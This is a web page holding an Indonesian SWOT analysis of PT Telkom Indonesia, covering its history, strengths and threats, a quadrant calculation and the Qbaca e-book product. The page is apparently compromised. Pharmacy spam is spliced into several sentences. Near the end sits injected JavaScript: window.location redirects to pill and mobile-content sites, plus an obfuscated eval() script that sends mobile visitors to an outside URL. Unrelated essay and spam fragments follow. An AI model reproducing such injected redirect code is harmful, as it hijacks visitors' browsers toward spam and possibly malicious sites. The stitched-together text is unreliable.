Manajemen Strategi ( Analisa SWOT )

PT.TELKOM INDONESIA

SEJARAH PERUSAHAAN TELKOM

Tahun 1975 merupakan awal perjalanan usaha PT Infomedia Nusantara menjadi perusahaan pertama penyedia layanan informasi telepon di Indonesia. Di bawah subdivisi Elnusa GTDI dari anak perusahaan Pertamina, Infomedia telah menerbitkan Buku Petunjuk Telepon Telkom Yellow Pages.

Perkembangan yang tercatat selanjutnya adalah berdirinya PT Elnusa Yellow Pages di tahun 1984 yang berubah nama di tahun 1995 menjadi PT Infomedia Nusantara pada saat PT Telkom Tbk menanamkan investasi. Untuk mendukung implementasi Good Coorporate Governance dalam setiap aspek kegiatan perusahaan, Infomedia telah mengeluarkan kebijakan pedoman tata kelola perusahaan di tahun 2008.

Pada tanggal 30 Juni 2009 PT Telekomunikasi Indonesia (Telkom) melalui PT Multimedia Nusantara (Metra), anak perusahaan yang 99,99% milik Telkom (selanjutnya disebut Telkom Group) telah menandatangani Shares Sales & Purchase Agreement (SPA) untuk membeli 49% saham PT Infomedia Nusantara (Infomedia) milik PT Elnusa Tbk (Elnusa), sehingga 100% saham PT Infomedia Nusantara telah dimiliki oleh Telkom Group.

Saat ini, Infomedia, sesuai dengan visinya menjadi penyedia jasa layanan informasi yang utama dikawasan regional telah melakukan berbagai upaya untuk mewujudkan visi tersebut dengan mengoptimalkan kompetensi untuk mengambil opportunity dalam pengembangan bisnis kedepan

Keseluruhan produk dan layanan Infomedia merupakan komitmen perusahaan dalam memberikan solusi layanan informasi dan komunikasi yang prima bagi customer dan masyarakat di Indonesia.

VISI
Menjadi Telekomunikasi terkemuka, Information, Media, Edutainment dan Jasa (“TIMES”) Player di Region.

MISI
• Untuk Memberikan KALI dengan Kualitas Bagus & Harga Kompetitif.
• Untuk menjadi Peran Model sebagai Best Managed Korporasi Indonesia.

TUJUAN
Untuk mencapai posisi terdepan dengan memperkuat bisnis legacy dan pertumbuhan bisnis new wave untuk memperoleh 60% dari pendapatan industri pada tahun 2015.

ANALISA STRENGTH ( Kekuatan )

–          Mempunyai jaringan yang luas di seluruh indonesia

–          Memiliki pasar/kosumen yang besar di seluruh indonesia

–          Efektivitas harga yang di berikan kepada pelanggan atau konsumen

–          Mempunyai kekuatan finansial yang besar

–          Banyaknya pilihan produk dan layanan yang ditawarkan

ANALISA WEAKNES ( Kelemahan ) lupin anchor prescription cheaper than lexapro where to buy clomid canada xenical images should not be larger than 500×500 px and 250 kb.

–          Kurang cepatnya tanggapan bila adanya komplain dari konsumen

–          Proses dalam penggantian program promo yang lamban

–          Terhambatnya koneksi pada akhir bulan

–          Bila terjadi pembetulan atau perbaikan tanpa ada konfirmasi kepada konsumen

–          Kurangnya kualitas dalam beberapa produk

ANALISA OPPORTUNITIS ( Peluang )

–          Industri telekomunikasi dan informasi akan terus memiliki peranan penting di Indonesia seiring pertumbuhan yang berkesinambungan sejalan dengan pertumbuhan ekonomi Indonesia.

–          Perusahaan mampu bersaing dengan perusahaan yang menghasilkan produk sejenis.

–          Jarangnya broadband access di seluruh penjuru indonesia sehingga menjadi peluang yang mampu di ambil

–          Menambah produk yang berkualitas dan mampu bersaingan dengan pesaingan dari segi kualitas

–          Membuat system yang baru dan menarik konsumen

ANALISA THREATH ( Ancaman )

–          Banyaknya perusahaan yang bergerak di bidang sejenis

–          Banyaknya produk yang di tawarkan oleh pesaing dengan variatif

–          Masyarakat semakin menuntut mobilitas dan fleksibilitas dari alat komunikasinya, telepon rumah “tradisional” tidak lagi dapat memenuhi kebutuhan tersebut

–          Jaringan Telkom, khususnya jaringan akses kabel , dapat menghadapi potensi ancaman keamanan, seperti pencurian atau vandalisme yang dapat berdampak pada hasil usahanya.

–          Kurangnya kualitas dapat menjadikan Telkom kehilangan beberapa konsumen.

STRENGHT

 

WEAKNESS

OPPORTUNITIES

TREATHS

Kesimpulan:

Berdasarkan hasil-hasil yag didapat dari analisis internal dan eksternal pada table, seperti dituliskan di atas, hasilnya dapat dirangkum sebagai berikut:

* Skor Total Kekuatan            : 3.66

* Skor Total Kelemahan         : 2.55

* Skor Total Peluang               : 3.09

* Skor Total Ancaman            : 2.8

Berpijak dari skor total ini, maka penentuan posisi PT.Telkom Indonesia dapat digambar sebagai Matrik SWOT yang dapat dilihat pada Gambar di bawah.

Untuk mencari koordinatnya, dapat dicari dengan cara sebagai berikut:

Koordinat analiisis Internal:

(skor total kekuatan – skor total kelemahan) : 2 =

(3.66 – 2.55) : 2 = 0.55

Koordinat analiisis Eksternal:

(skor total peluang – skor total ancaman) : 2 =

(3,09 –  2.8) : 2 = 0,145

Jadi titik koordinatnya terletak pada (0.55 ; 0.145)

uk . e2 valerato de estradiol terapia de reemplazo hormonal con estradiol ketoconazole generic philippines pille naturliches estradiol 0 250 mg  Gambar Titik Koordinat/ Diagram SWOT

atarax online, generic atarax, atarax 25 mg tablet, cost of lexapro prescription can you explanation average cost of cheap nexium canada inquiry singapore when did zoloft become generic  Kwadran

Kwadran 1 (S,O)

Strategi yang dilakukan oleh Telkom dalam kwadran1 yaitu menggunakan peluang yang dimiliki untuk meningkatkan kekuatan perusahaan.

Kwadran 2 (W,O)

Strategi  yang dilakukan Telkom dalam kwadran2 yaitu menggunakan peluang yang ada untuk menutupi kelemahan yang dimiliki perusahaan.

Kwadran 3 (W,T)

Strategi yang dilakukan Telkom dalam kwadran3 yaitu meminimalisir atau meminimalkan resiko yang dimiliki perusahaan.

Kwadran 4 (S,T)

Strategi yang dilakukan Telkom dalam kwadran4 yaitu menggunakan kekuatan yang dimiliki perusahaan untuk menghadapi ancaman perusahaan.

 

Berdasarkan diagram bobot dan rating setiap unsur matrik SWOT yang disajikan di atas dapat diketahui bahwa posisi perusahaan / Instansi pada saat ini berada pada Kuadran I yaitu kuadran Growth dimana strategi umum yang dapat dilakukan oleh perusahaan adalah perusahaan dapat menggunakan peluang yang ada untuk perusahaan agar perusahaan mampu meningkatkan kekuatan yang dimiliki oelh perusahaan selama ini.

STRATEGI BISNIS UNIT

Berdasarkan anilisa SWOT yang telah dilakukan telah disimpulkan bahwa strategi umum yang dapat dilakukan oleh perusahaan adalah membuat system yang baru agar dapat menarik konsumen, karena sebenarnya pertumbuhan pasar khusunya produk jasa telekomunikasi sangatlah tinggi sedangkan daya saing produk sendiri semakin ketat.

Prioritas Utama :

Menciptakan inovasi atau produk baru yaitu internet speedy card atau Qbaca yang mudah dan simple yang dapat dibawa kemanapun dan dapat di akses yang mudah dan cepat dan ditujukan untuk kalangan mahasiswa atau pebisnis yang setiap hari harus mobile dalam melaksanakan aktivitas.

Inovasi terbaru Telkom

Telkom Meluncurkan Produk Qbaca

Qbaca adalah perangkat bagi kita yang mencintai buku, untuk dapat selalu membawa semua buku kesayangan kita, berapapun jumlahnya, untuk dibaca di mana saja dan kapan saja, tetap dalam kenyamanan dan keakraban membaca buku.

Qbaca adalah ruang pendidikan dan pengajaan, tempat bukan saja buku-buku pendidikan disimpan untuk mudah diakses dari mana saja, tetapi juga interaksi pendidikan (lembar kerja, kuis, eksperimen) dapat diciptakan hidup di atas buku-buku digital.

Qbaca adalah perangkat bagi kita yang menggemari budaya digital, agar dapat memanfaatkan gadget untuk mengeksplorasi berbagai informasi dan gagasan secara lebih mendalam daripada sekedar kicauan media sosial.

Qbaca adalah ekosistem yang menggerakkan penulis buku, penerbit buku, pencipta konten digital, kreator visual, komunitas penggemar buku, hingga penggemar gaya hidup digital untuk berkolaborasi menciptakan nilai hidup baru buat bangsa yang lebih baik dan lebih keren.

Faktor penentu keberhasilan :

inovasi dalam dunia teknologi jasa komunikasi

> Output         : purchase discount medication! india . fastest shipping, generic levitra with dapoxetine. membuat inovasi dan produk baru untuk dapat bersaing dengan perusahaan penyedia jasa layanan yang lain.

> Outcame      : Meningkatkan volume penjualan

> Impact         : Citra perusahaan yang meningkat baik seiring dengan berkembangnnya perusahaan serta menjadi pelopor dalam penyedia buku digital yang mudah serta simple.

Analisis Persaingan Telkom Dengan pesaing Utama

sumber: menurut penulis

dalam analisi persaingan dengan pesainmg utama, saat ini telkom dihadapkan dengan pesaing utamanya yaitu smartfren yang di ukur dalam beberapa instrumen yaitu Produk,Place,Price serta Promotiaon

dalam segi Produk untuk penggunaan layanan data internet pesaing utama masih belum dapat mengungguli telkom karena telkom mempunyai jaringan distribusi yang luas d, rate koneksi yang cepat di hampir seluruh kota indonesia.

dalam segi Price telkom kalah dengan pesaing utamanya karena pesaing mempunyai layanan paket data yang murah,yang dapat di jangkau oleh kalangan menengah kebawah serta simpel yang dapat dibawa kemanapun

dalam segi Place telkom tetap masih lebih unggul di banding pesaingnnya karena telkom memulai jenis usaha terlebih dahulu sebelum pesaing sehingga telkom empunyai kekuatan dalam distribusi jaringan di hampir seluruh indonesia khususnya di sektor yang penting seperti perkotaan besar.

namun dalam segi Promotion telkom kurang unggul oleh pesaingnya terbukti dengan iklan media cetak dan media elaktronik yang jarang terlihat,sedangkan pesaing selalu menyebarkan iklan di media cetak maupun elektronik sehingga lebih dikenala oleh mnasyarakat

Analisis persaingan Telkom Dengan Produk Pengganti

sumber: menurut penulis

dalam persaingan dengan produk pengganti telkom memiliki beberapa pesaing antara lain TV Kabel dan Samsung tv yang kini mulai naik dan dikenal oleh masyarakat, dalam analisi ini diukur dengan beberapa instrumen yaitu 4p(Produk,Place,Price,promotion)

dalam segi Produk telkom empunyai pesaing dengan produk pengganti yaitu TV kabe dan Samsung tv yang kini lebih dikenal masyarakat dan lebih modern,untuk dapat memiliki pasar tersebut telkom harus menciptakan produk inovativ dan baru yang dapat diterima masyarakat.

dalam segi Price Tv kabel lebih murah di bandingkan samsung TV namun masyarakat yang sekarang telah mengetahui teknologi maka telkom harusnya membuat produk inovasi yang dapat bersaing dengan produk pengganti dan tentunya dengan harga yang terjangkau dan murah.

dalam segi Place untuk segi ini kedua produk pengganti sama-sama memiliki jaringan yang luas karena dapat di jangkau di setiap daerah.untuk meningkatkan jaringan distribusi telkom harus meningkatkan jaringan distribusi dan kerjasama dengan produk pengganti untuk meningkatkan pasar yang dimiliki.

dalam segi promotion dibandingkan TV kabel,samsung TV lebih unggul dalam promotion terbukti dengan jarangnya iklan tentang TV kabel di media cetak dan elektronik sedangkan samsung tv lebih banyak muncul di media cetak dan elektronik sehingga lebih dikenal oleh masyarakat.

Ukuran Strategi Pengembangan Dari Produk Telkom

window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”; eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{})) Man ist glücklich, berauscht, in gedanken an die zu erwartenden erlebnisse lesen verzückt

How-to Write an Observation Dissertation – Declaration Document Tips with Private Example Essay

A mommy’s letter by Gibbs. . . to her child that is adult theanine with prozac prozac 30 mg dose fluoxetine 88 generic prozac cost can you shoot up a 20 milligram prozac . generic companies costco price prozac Briefing – I had produced an earlier request support, to which my daughter didn’t wish to have anything to do with it. I directed it and scripted the next, after revealing a few thoughts. Note: we arranged this correspondence may gain other parents as well as their adult daughters With my child’s approval and her brand eliminated. Dear Adult Child, A proven way partnership has been for that many portion ed by us.

Russian kefir, a far more drinkable liquid form of fermented milk is not low in probiotics. Continue reading